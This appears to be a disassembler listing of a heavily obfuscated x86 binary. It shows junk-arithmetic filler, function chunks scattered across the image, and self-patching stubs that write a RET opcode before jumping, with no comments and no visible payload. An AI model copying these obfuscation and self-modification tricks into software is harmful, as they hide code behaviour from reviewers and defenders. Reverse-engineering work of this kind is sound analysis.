; [00000001 BYTES: COLLAPSED FUNCTION nullsub_235. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
		popf
		jmp	loc_439021

; =============== S U B	R O U T	I N E =======================================



sub_4407E7	proc near		; CODE XREF: sub_4051EF+4Dp
					; DATA XREF: ev73vtp2:off_41E00Co

; FUNCTION CHUNK AT 00437859 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0043987A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043B60F SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043D71A SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0043EA2B SIZE 00000012 BYTES
; FUNCTION CHUNK AT 004417EB SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004452DF SIZE 00000028 BYTES
; FUNCTION CHUNK AT 004463F0 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 004474C1 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00448661 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0044A2F0 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044B387 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044C726 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044D653 SIZE 00000014 BYTES

		jns	loc_437859
		mov	eax, ds:dword_441024
		call	sub_440141

loc_4407F8:				; CODE XREF: sub_443A72-8B0Ej
		jmp	sub_4487F2
sub_4407E7	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4407FD	proc near		; DATA XREF: sub_44C836+Co

; FUNCTION CHUNK AT 0043FC33 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0043FF2C SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0044580D SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00445C42 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044C6DF SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0044C785 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044D53A SIZE 0000000B BYTES

		imul	byte ptr [edx]
		cmp	al, 0A4h
		jz	loc_43C878
		jmp	loc_445C42
sub_4407FD	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C9D6

loc_44080C:				; CODE XREF: sub_43C9D6-383j
					; sub_44217A:loc_43E6DFj
		call	sub_4479B1
		call	sub_444002

loc_440816:				; CODE XREF: sub_437548+A804j
		jmp	loc_438524
; END OF FUNCTION CHUNK	FOR sub_43C9D6
; ---------------------------------------------------------------------------

loc_44081B:				; CODE XREF: kgbikm34:0043C6DCj
		jmp	locret_440791
; ---------------------------------------------------------------------------

locret_440820:				; CODE XREF: kgbikm34:0044354Dj
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43EB8F

loc_440821:				; CODE XREF: sub_43EB8F:loc_43F8DEj
		xor	ebp, 0C7677A35h
		shr	ebp, 1Eh
		mov	ebp, 0A6D76C24h
		jmp	loc_43FA37
; END OF FUNCTION CHUNK	FOR sub_43EB8F

; =============== S U B	R O U T	I N E =======================================



sub_440834	proc near		; DATA XREF: sub_4435FE:loc_4370E4o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8

; FUNCTION CHUNK AT 004390E5 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0043A061 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043AC62 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043D86E SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0043E9E0 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043F21F SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0043FE2E SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00441C49 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 0044211A SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00443DE6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004452D3 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004465C4 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00446D1C SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00448210 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044D1BA SIZE 00000010 BYTES

		or	eax, eax
		jnz	loc_44211A
		jmp	loc_43AC62
sub_440834	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_440841	proc near		; CODE XREF: sub_438B99+F18Dj
					; sub_43F200:loc_44B4E2p

var_4		= dword	ptr -4
arg_8		= dword	ptr  0Ch

; FUNCTION CHUNK AT 0043794A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043D560 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0044052F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00442497 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00442E08 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 004449F9 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00445802 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00447F76 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0044AD4C SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0044B553 SIZE 00000005 BYTES

		xchg	edi, [esp+0]
		pop	edi
		add	ebx, 815CFE09h
		mov	[ebx], eax
		pop	ebx
		lea	eax, loc_4449F9
		jmp	loc_44052F
sub_440841	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4471D6

loc_440859:				; CODE XREF: sub_4471D6:loc_4496C1j
		test	byte ptr [ebp-8], 2
		jz	loc_440870
		push	ebp
		mov	eax, [ebp-20h]

loc_440867:				; CODE XREF: kgbikm34:00440C66j
		call	sub_44C75F
		pop	ecx
		mov	[ebp-20h], eax

loc_440870:				; CODE XREF: sub_4471D6:loc_43E328j
					; sub_4471D6-6979j ...
		jb	loc_4392C5
		jmp	loc_449004
; END OF FUNCTION CHUNK	FOR sub_4471D6
; ---------------------------------------------------------------------------

loc_44087B:				; CODE XREF: kgbikm34:004418ADj
		xchg	edx, ecx

; =============== S U B	R O U T	I N E =======================================



sub_44087D	proc near		; CODE XREF: kgbikm34:0044B527p

; FUNCTION CHUNK AT 0043D8CF SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0043DCBC SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0043DCC6 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 004414B0 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 004449B7 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004478DE SIZE 00000005 BYTES

		xchg	edx, [esp+0]
		pop	edx
		call	sub_43DBBA
		test	al, al
		jz	loc_43DCC6
		jmp	loc_4478DE
sub_44087D	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

locret_440893:				; CODE XREF: kgbikm34:loc_44A15Aj
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441F15

loc_440894:				; CODE XREF: sub_441F15+6E8Ej
		jmp	sub_440F62
; END OF FUNCTION CHUNK	FOR sub_441F15
; ---------------------------------------------------------------------------

locret_440899:				; CODE XREF: kgbikm34:00447CA9j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440443

loc_44089A:				; CODE XREF: sub_440443-8EB2j
		jmp	nullsub_48
; END OF FUNCTION CHUNK	FOR sub_440443
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442798

loc_44089F:				; CODE XREF: sub_442798j
		push	ecx
		mov	ecx, ebp
		push	offset sub_439F72
		jmp	nullsub_237
; END OF FUNCTION CHUNK	FOR sub_442798
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_438B6B

loc_4408AC:				; CODE XREF: sub_438B6B:loc_44DD24j
		add	edx, 81D31265h
		add	edx, ebp
		add	edx, 53CDFBACh
		mov	edx, [edx]
		imul	byte ptr [edx]
		jmp	loc_4486B4
; END OF FUNCTION CHUNK	FOR sub_438B6B
; ---------------------------------------------------------------------------

loc_4408C3:				; CODE XREF: kgbikm34:loc_4421D0j
		mov	eax, 2D912001h
		call	sub_43BF6F
		call	sub_440D09
; START	OF FUNCTION CHUNK FOR sub_449F77

loc_4408D2:				; CODE XREF: sub_449F77-7CFFj
					; kgbikm34:0044C9DDj
		add	eax, 0DF386C1Eh
		mov	eax, [eax]
		or	eax, eax
		jnz	loc_43F8AA
		jmp	loc_44B727
; END OF FUNCTION CHUNK	FOR sub_449F77
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C019

loc_4408E7:				; CODE XREF: sub_43C019:loc_4414FDj
		push	edx
		push	0C58AB6DBh
		pop	edx
		sub	edx, 1E0D7626h
		add	edx, 8566C913h
		jns	loc_43C88C

loc_440900:				; CODE XREF: kgbikm34:0044CF8Bj
		jmp	nullsub_9
; END OF FUNCTION CHUNK	FOR sub_43C019
; ---------------------------------------------------------------------------
		add	edi, 1D2932A3h
		cmp	esi, 72C1EFEFh
		jmp	loc_43C886
; ---------------------------------------------------------------------------
		sbb	ebp, edi
		jmp	sub_444A5E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44CA61

loc_44091D:				; CODE XREF: sub_44CA61-B831j
		jz	loc_44380C
		and	esi, 30787E6Fh
		xchg	ecx, edi
		jmp	loc_44380C
; END OF FUNCTION CHUNK	FOR sub_44CA61
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44DC12

loc_440930:				; CODE XREF: sub_44DC12:loc_44CE92j
		xchg	ebx, [esp+0]
		jmp	loc_439B45
; END OF FUNCTION CHUNK	FOR sub_44DC12
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F039

loc_440938:				; CODE XREF: sub_43F039:loc_43AA5Fj
		xchg	ecx, [esp+0]
		call	sub_44661D
		mov	eax, 0A7C2536Ch
		call	sub_43BF6F
		mov	ds:off_41E050, eax
		jmp	loc_44DC86
; END OF FUNCTION CHUNK	FOR sub_43F039
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B495

loc_440955:				; CODE XREF: sub_44B495+Bj
		pop	edx
		mov	eax, ds:dword_446C38
		call	sub_43B932
		mov	ds:dword_41E124, eax

loc_440967:				; CODE XREF: kgbikm34:loc_43C767j
		lea	eax, nullsub_19
		mov	byte ptr [eax],	0C3h
		jmp	nullsub_19
; END OF FUNCTION CHUNK	FOR sub_44B495
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43DC42

loc_440975:				; CODE XREF: sub_43DC42:loc_439231j
		mov	eax, [esp-4+arg_0]
		push	offset sub_43FE66
		jmp	nullsub_252
; END OF FUNCTION CHUNK	FOR sub_43DC42
; ---------------------------------------------------------------------------
		jz	sub_44962F
		or	edi, 7A1F5390h
		jmp	sub_44D485
; ---------------------------------------------------------------------------

loc_440993:				; CODE XREF: kgbikm34:00439E7Dj
		jnz	loc_4496D3
; START	OF FUNCTION CHUNK FOR sub_444051

loc_440999:				; CODE XREF: sub_444051+4F3Aj
		jmp	loc_43B5FA
; END OF FUNCTION CHUNK	FOR sub_444051
; ---------------------------------------------------------------------------
		or	ecx, eax
		and	eax, ebx
		jmp	loc_4496D0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439D4B

loc_4409A7:				; CODE XREF: sub_439D4B:loc_43E1A4j
		call	sub_449617

loc_4409AC:				; CODE XREF: kgbikm34:0044D4AEj
		jmp	loc_445176
; END OF FUNCTION CHUNK	FOR sub_439D4B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43AD9F

loc_4409B1:				; CODE XREF: sub_43AD9F+7A96j
		jmp	loc_4394CA
; END OF FUNCTION CHUNK	FOR sub_43AD9F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D494

loc_4409B6:				; CODE XREF: sub_43D494:loc_4497D5j
		jnz	loc_43A29D
		jmp	loc_446830
; END OF FUNCTION CHUNK	FOR sub_43D494
; ---------------------------------------------------------------------------

loc_4409C1:				; CODE XREF: kgbikm34:0043B690j
		mov	byte ptr [eax],	0C3h
		jmp	nullsub_276
; ---------------------------------------------------------------------------
		call	nullsub_14
		jmp	ds:dword_41E10C
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_14. PRESS	KEYPAD "+" TO EXPAND]
		db 85h,	0CAh, 0D0h
		dd 3C870000h, 0C927E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4478CD

loc_4409E2:				; CODE XREF: sub_4478CD:loc_43F90Fj
		jz	loc_448348
		jmp	loc_44CA36
; END OF FUNCTION CHUNK	FOR sub_4478CD
; ---------------------------------------------------------------------------

loc_4409ED:				; CODE XREF: kgbikm34:loc_44A0B0j
		jz	loc_43B156
		jmp	loc_43A004
; ---------------------------------------------------------------------------

loc_4409F8:				; CODE XREF: kgbikm34:0044A09Aj
		add	eax, 4EA32421h
		mov	eax, [eax]
		mov	eax, [eax+24h]
		add	eax, [ebp-4]
		xor	edx, edx
		push	ebx
		mov	ebx, edx
		xchg	ebx, [esp]
		jmp	loc_44DDA1
; ---------------------------------------------------------------------------

locret_440A13:				; CODE XREF: kgbikm34:loc_43EED8j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440443

loc_440A14:				; CODE XREF: sub_440443:loc_446D12j
		add	edx, 321CBD52h
		mov	[edx], eax
		xchg	eax, [esp+4+var_4]
		mov	edx, eax
		pop	eax
		jmp	loc_4461E0
; END OF FUNCTION CHUNK	FOR sub_440443
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43AD9F

loc_440A27:				; CODE XREF: sub_43AD9F+7BD8j
		sub	eax, ebx
		mov	[esi], ebp
		or	eax, 579B17DDh

loc_440A31:				; CODE XREF: sub_43AD9F:loc_444B46j
		push	0B5659884h
		pop	eax
		and	eax, 0E5220E33h
		sub	eax, 8CA2AFEBh
		call	sub_445186

loc_440A48:				; CODE XREF: sub_443681+9436j
		jmp	nullsub_223
; END OF FUNCTION CHUNK	FOR sub_43AD9F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CAB5

loc_440A4D:				; CODE XREF: sub_43CAB5+9D17j
		jmp	loc_44D562
; END OF FUNCTION CHUNK	FOR sub_43CAB5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4379E6

loc_440A52:				; CODE XREF: sub_4379E6+18j
		jmp	loc_449F68
; END OF FUNCTION CHUNK	FOR sub_4379E6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A2AC

loc_440A57:				; CODE XREF: sub_44A2AC+17j
		push	0
		call	sub_4471CC
		pop	eax
		cmp	dword ptr [eax], 0
		jnz	loc_44A2BC
		jmp	sub_44A2AC
; ---------------------------------------------------------------------------

loc_440A6D:				; CODE XREF: sub_44A2AC:loc_44A2BCj
		push	eax
		jmp	loc_4414F8
; END OF FUNCTION CHUNK	FOR sub_44A2AC
; ---------------------------------------------------------------------------

loc_440A73:				; CODE XREF: kgbikm34:00445BFCj
		lea	eax, sub_43CAB5
		mov	byte ptr [eax],	0C3h
		jmp	loc_438C29
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CAB5

loc_440A81:				; CODE XREF: sub_43CAB5j
		pop	edx
		mov	eax, [esp-4+arg_0]
		push	eax

loc_440A86:				; CODE XREF: sub_43DC42:loc_446A84j
		mov	eax, edx
		xchg	eax, [esp+0]
		push	ebp
		jmp	loc_438E09
; END OF FUNCTION CHUNK	FOR sub_43CAB5
; ---------------------------------------------------------------------------
		mov	ds:off_41E19C, eax
		lea	eax, loc_440D46
		call	sub_43C7FB

loc_440AA2:				; CODE XREF: kgbikm34:004488EFj
		jns	loc_44A3C8
		mov	edx, [eax]

; =============== S U B	R O U T	I N E =======================================



sub_440AAA	proc near		; CODE XREF: sub_43F4F9:loc_43FC0Ap

; FUNCTION CHUNK AT 0043A74C SIZE 00000019 BYTES

		xchg	esi, [esp+0]
		pop	esi
		add	edx, 7513BF5Bh
		add	edx, ebp
		call	sub_44C836

loc_440ABB:				; CODE XREF: sub_4460F2+Aj
		jmp	loc_43A74C
sub_440AAA	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_440AC0	proc near		; DATA XREF: sub_437298+3o

; FUNCTION CHUNK AT 0043E713 SIZE 00000014 BYTES

		xchg	ebx, [esp+0]
		push	ebx
		push	0E6C5CE0Ah
		pop	ebx
		and	ebx, ds:4000F3h
		jmp	loc_43E713
sub_440AC0	endp

; ---------------------------------------------------------------------------

loc_440AD5:				; CODE XREF: kgbikm34:0043DDC9j
		mov	ecx, 0E4EF4EC9h

; =============== S U B	R O U T	I N E =======================================



sub_440ADA	proc near		; CODE XREF: sub_449D78-63B8p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 004400A7 SIZE 0000000A BYTES

		xchg	ebx, [esp-4+arg_0]
		pop	ebx
		xchg	edx, [esp+0]
		jmp	loc_4400A7
sub_440ADA	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FF32

loc_440AE6:				; CODE XREF: sub_43FF32+4DBCj
		add	esi, ds:4000F7h
		sub	esi, 0E6320B22h
		cmp	esi, 83A5FDBh
		jmp	loc_4459E2
; END OF FUNCTION CHUNK	FOR sub_43FF32
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4383B9

loc_440AFD:				; CODE XREF: sub_4383B9:loc_43C14Dj
		lea	eax, nullsub_322
		mov	byte ptr [eax],	0C3h
		call	nullsub_193
		call	nullsub_321
		jmp	loc_43D911
; END OF FUNCTION CHUNK	FOR sub_4383B9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439274

loc_440B15:				; CODE XREF: sub_439274:loc_43E24Bj
					; sub_439274+CCD3j
		rol	edx, 17h
		xor	edx, 280E20EAh
		sub	edx, ds:4000F9h
		xor	edx, 1582867Ah
		add	edx, ebp
		jmp	loc_4482B4
; END OF FUNCTION CHUNK	FOR sub_439274
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_447B4A

loc_440B31:				; CODE XREF: sub_447B4A:loc_447B56j
		xor	eax, 0ED4B3CBFh
		push	eax
		pushf
		call	sub_44E1B2

loc_440B3E:				; CODE XREF: kgbikm34:0044AF77j
		push	eax
		mov	eax, edx
		nop
		mov	eax, [esp+0Ch+var_C]
		jmp	loc_43C196
; END OF FUNCTION CHUNK	FOR sub_447B4A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43BCAD

loc_440B4A:				; CODE XREF: sub_43BCAD:loc_44D70Bj
		push	offset loc_44B40E
		jmp	loc_43D4E4
; END OF FUNCTION CHUNK	FOR sub_43BCAD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D494

loc_440B54:				; CODE XREF: sub_43D494:loc_441032j
		add	esp, 8
		mov	eax, [eax]
		call	sub_44DA54

loc_440B5E:				; CODE XREF: kgbikm34:00444978j
		jmp	loc_43FCBF
; END OF FUNCTION CHUNK	FOR sub_43D494
; ---------------------------------------------------------------------------

loc_440B63:				; CODE XREF: kgbikm34:00443AF8j
		jmp	sub_438B99
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4474D5

loc_440B68:				; CODE XREF: sub_4474D5-46FFj
		jmp	sub_4400C7
; END OF FUNCTION CHUNK	FOR sub_4474D5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439A2E

loc_440B6D:				; CODE XREF: sub_439A2E-7BFj
		jz	loc_439983
		jmp	loc_4485D3
; END OF FUNCTION CHUNK	FOR sub_439A2E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4438E2

loc_440B78:				; CODE XREF: sub_4438E2:loc_443C8Bj
		rol	edi, 16h
		xor	edi, 2ECEE73h
		push	offset loc_443FDD
		jmp	nullsub_216
; END OF FUNCTION CHUNK	FOR sub_4438E2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43741E

loc_440B8B:				; CODE XREF: sub_43741E:loc_4373B7j
		and	esi, 0DBA6BC27h
		pop	ecx
		jmp	loc_44BA7D
; END OF FUNCTION CHUNK	FOR sub_43741E
; ---------------------------------------------------------------------------
		push	0D9CF8B75h
		pop	eax
		xor	eax, 9AB35EB5h
		sub	eax, 7E5C0931h
		and	eax, 2CC81A96h
		sub	eax, 0F7EDA7CEh
		xor	eax, 0D4A9D17Fh
		jmp	loc_44C84C
; ---------------------------------------------------------------------------

loc_440BC0:				; CODE XREF: kgbikm34:0044C563j
		pop	edx
		lea	eax, sub_445317
		mov	byte ptr [eax],	0C3h
		jmp	loc_442460
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_445317

loc_440BCF:				; CODE XREF: sub_439BDE:loc_440D94j
					; sub_445317+6j
		mov	eax, [esp+0]

loc_440BD2:				; CODE XREF: kgbikm34:0044CC23j
		push	ebp
		mov	ebp, edx
		call	sub_44B4F5
; END OF FUNCTION CHUNK	FOR sub_445317
; START	OF FUNCTION CHUNK FOR sub_43C207

loc_440BDA:				; CODE XREF: sub_43C207+559Aj
		jmp	sub_44B20C
; END OF FUNCTION CHUNK	FOR sub_43C207

; =============== S U B	R O U T	I N E =======================================



sub_440BDF	proc near		; DATA XREF: kgbikm34:0043FA9Fo
		mov	ds:dword_43C5A8, eax
		retn
sub_440BDF	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A1F9

loc_440BE6:				; CODE XREF: sub_44A1F9+10j
		jmp	loc_446626
; END OF FUNCTION CHUNK	FOR sub_44A1F9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449F77

loc_440BEB:				; CODE XREF: sub_449F77-7C3Ej
		jmp	loc_439BF9
; END OF FUNCTION CHUNK	FOR sub_449F77
; ---------------------------------------------------------------------------

loc_440BF0:				; CODE XREF: kgbikm34:loc_44AC25j
		rol	eax, 8
		push	edi
		jmp	loc_4410F3

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_440BF9	proc near		; DATA XREF: sub_43B228o

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0043A1A1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043CEC5 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0043EAD1 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0044070F SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00443E2F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044B50D SIZE 0000001A BYTES

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		mov	[ebp+var_4], eax

loc_440C02:				; CODE XREF: sub_440BF9:loc_43A1A1j
		js	loc_44070F
		mov	eax, [ebp+var_4]
		jmp	loc_43EAD1
sub_440BF9	endp

; ---------------------------------------------------------------------------
		shl	eax, 1Ah
		jmp	sub_4474D5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44114F

loc_440C18:				; CODE XREF: sub_44114F+AEDBj
		push	3AF308C2h
		pop	ebx
		and	ebx, ds:4000F7h
		or	ebx, 0F03C65F6h
		call	sub_4428DE

loc_440C2F:				; CODE XREF: kgbikm34:0043E998j
		jnp	loc_44235E
; END OF FUNCTION CHUNK	FOR sub_44114F

; =============== S U B	R O U T	I N E =======================================



sub_440C35	proc near		; CODE XREF: kgbikm34:0043E89Fp
		xchg	ebx, [esp+0]
		pop	ebx
		mov	eax, ds:dword_437B4C[eax*4]
		jmp	loc_437AA4
sub_440C35	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		push	edi
		push	90448435h
		pop	edi
		or	edi, 9BE84BEFh
		rol	edi, 0Eh
		sub	edi, 6FA4CDCFh
		add	edi, 3BE6C8ECh
		jmp	loc_43D9F4
; ---------------------------------------------------------------------------
		jb	loc_440867
		jmp	sub_44826A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43741E

loc_440C71:				; CODE XREF: sub_43741E:loc_4374BDj
		mov	edx, [ebp+var_4]
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jz	loc_4424B6
		jmp	loc_43ED66
; END OF FUNCTION CHUNK	FOR sub_43741E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4418C2

loc_440C83:				; CODE XREF: sub_4418C2+4B9Aj
		jle	loc_43A148
		jb	loc_43A906
		and	edi, 0D949ECDFh
		mov	esi, edx
		jmp	loc_44DA7C
; END OF FUNCTION CHUNK	FOR sub_4418C2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B991

loc_440C9C:				; CODE XREF: sub_44B991-11622j
		jnz	loc_44B59C

loc_440CA2:				; CODE XREF: kgbikm34:0044D4E3j
		jmp	loc_43959E
; END OF FUNCTION CHUNK	FOR sub_44B991
; ---------------------------------------------------------------------------

loc_440CA7:				; CODE XREF: kgbikm34:00439D9Ej
		jmp	locret_4484A6
; ---------------------------------------------------------------------------

loc_440CAC:				; CODE XREF: kgbikm34:00439695j
		jmp	loc_43AEBB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_437B32

loc_440CB1:				; CODE XREF: sub_437B32+12j
		jmp	loc_44B819
; END OF FUNCTION CHUNK	FOR sub_437B32
; ---------------------------------------------------------------------------
		mov	[ebx], ebp
		pop	edx
		sbb	eax, 0A170A428h
		jmp	loc_44B599
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_136. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_440CC5:				; CODE XREF: kgbikm34:loc_43A1E3j
		jz	loc_447CF3
		jmp	loc_44D943
; ---------------------------------------------------------------------------

loc_440CD0:				; CODE XREF: kgbikm34:0043A716j
		jnb	loc_43B01C
		pop	ebx
		test	edx, eax
		jmp	loc_442A6B
; ---------------------------------------------------------------------------

loc_440CDE:				; CODE XREF: kgbikm34:loc_43919Fj
		jnz	loc_449C2C
		jmp	loc_441F7D
; ---------------------------------------------------------------------------
		jge	loc_4421A9
		jmp	sub_43DF40
; ---------------------------------------------------------------------------

loc_440CF4:				; CODE XREF: kgbikm34:0044BEBDj
		push	edx
		call	sub_445D55
		mov	eax, 0B4B93D2h
		call	sub_43BF6F
		jmp	loc_43C53D

; =============== S U B	R O U T	I N E =======================================



sub_440D09	proc near		; CODE XREF: kgbikm34:0043D1D2j
					; kgbikm34:004408CDp
		xchg	ecx, [esp+0]
		pop	ecx
		mov	ds:dword_41E150, eax
		lea	eax, nullsub_344
		mov	byte ptr [eax],	0C3h
		jmp	nullsub_344
sub_440D09	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		pop	edx
		mov	eax, [esp]
		push	edx
		jmp	loc_449B3A
; ---------------------------------------------------------------------------
		push	edi
		push	offset sub_43D345
		jmp	locret_43D050
; ---------------------------------------------------------------------------
		jmp	ds:off_41E19C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444864

loc_440D3C:				; CODE XREF: sub_444864+8DDCj
		jmp	loc_44D1CA
; END OF FUNCTION CHUNK	FOR sub_444864
; ---------------------------------------------------------------------------

loc_440D41:				; CODE XREF: kgbikm34:0043D09Cj
		jmp	loc_43C7B5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E4C0

loc_440D46:				; CODE XREF: sub_44710C:loc_43FE22j
					; sub_43C7FB:loc_4412F1j ...
		js	loc_43C807
		pop	edx
		mov	eax, [esp+0]
		push	edx
		push	eax
		jmp	loc_447A49
; END OF FUNCTION CHUNK	FOR sub_43E4C0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FA71

loc_440D57:				; CODE XREF: sub_43FA71:loc_43C2D5j
		jz	loc_4457F8
		shl	edi, 1Ah
		jmp	loc_443B0F
; END OF FUNCTION CHUNK	FOR sub_43FA71
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CAB5

loc_440D65:				; CODE XREF: sub_43CAB5:loc_441456j
		call	sub_44B20C
		push	0EF395BB0h
		pop	eax
		rol	eax, 0Eh
		cmp	eax, 579026BFh
		jmp	loc_438FCD
; END OF FUNCTION CHUNK	FOR sub_43CAB5
; ---------------------------------------------------------------------------

loc_440D7E:				; CODE XREF: kgbikm34:004499CBj
		mov	edx, ebp
		pop	ebp
		mov	eax, [esp]
		push	edx
		call	sub_43B469
		mov	eax, 86480F55h
		jmp	loc_44E0CB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439BDE

loc_440D94:				; CODE XREF: sub_439BDE+B3DBj
		jg	loc_440BCF
		pushf
		jz	loc_43CD0B

loc_440DA1:				; CODE XREF: kgbikm34:00438F2Ej
					; sub_439BDE:loc_43B62Bj
		push	eax
		lea	eax, dword_43B2C4
		push	eax
		push	eax
		jmp	loc_4465D0
; END OF FUNCTION CHUNK	FOR sub_439BDE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439F72

loc_440DAF:				; CODE XREF: sub_439F72:loc_444E74j
		xchg	ebp, [ebx]
		sbb	edx, eax
		jmp	loc_4407C5
; END OF FUNCTION CHUNK	FOR sub_439F72
; ---------------------------------------------------------------------------

loc_440DB8:				; DATA XREF: sub_43D019:loc_43A073o
		or	eax, eax
		jnz	loc_445FAA
		jmp	loc_444B74
; ---------------------------------------------------------------------------
